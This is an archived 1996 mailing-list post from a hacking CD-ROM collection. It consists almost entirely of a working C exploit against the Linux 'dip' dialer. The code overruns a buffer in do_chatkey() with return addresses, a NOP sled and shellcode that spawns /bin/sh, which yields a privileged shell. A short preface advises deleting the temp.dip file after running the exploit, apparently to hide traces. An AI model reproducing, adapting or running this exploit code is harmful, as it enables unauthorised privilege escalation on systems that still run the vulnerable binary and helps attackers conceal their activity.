home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_di.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  1.1 KB  |  51 lines

  1.    Efrain Torres (e-torres@uniandes.edu.co)
  2.    Tue, 9 Jul 1996 16:31:32 -0400
  3.        
  4. justa note.. dont forget to erase the temp.dip file when you run this
  5. exploit.
  6.  
  7.  
  8. /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */
  9.  
  10. #include <unistd.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <fcntl.h>
  14. #include <sys/stat.h>
  15.  
  16. #define PATH_DIP "/usr/sbin/dip"
  17.  
  18. u_char shell[] = /* courtesy of avalon  ;) */
  19. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  20. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  21. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  22.  
  23. u_long esp() { __asm__("movl %esp, %eax"); }
  24.  
  25. main()
  26. {
  27.   u_char buf[1024];
  28.   u_long addr;
  29.   int i, f;
  30.  
  31.   strcpy(buf, "chatkey ");
  32.   addr = esp() - 192;
  33.   for (i=8; i<128+16; i+=4)
  34.     *((u_long *) (buf+i)) = addr;
  35.   for (i=128+16; i<512; i++)
  36.     buf[i] = 0x90;
  37.   for (i=0; i<strlen(shell); i++)
  38.     buf[512+i] = shell[i];
  39.   buf[512+i] = '\n';
  40.  
  41.   if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
  42.     perror("temp.dip");
  43.     exit(0);
  44.   }
  45.   write(f, buf, 512+i);
  46.   close(f);
  47.  
  48.   execl(PATH_DIP, "dip", "temp.dip", (char *)0);
  49. }
  50.  
  51.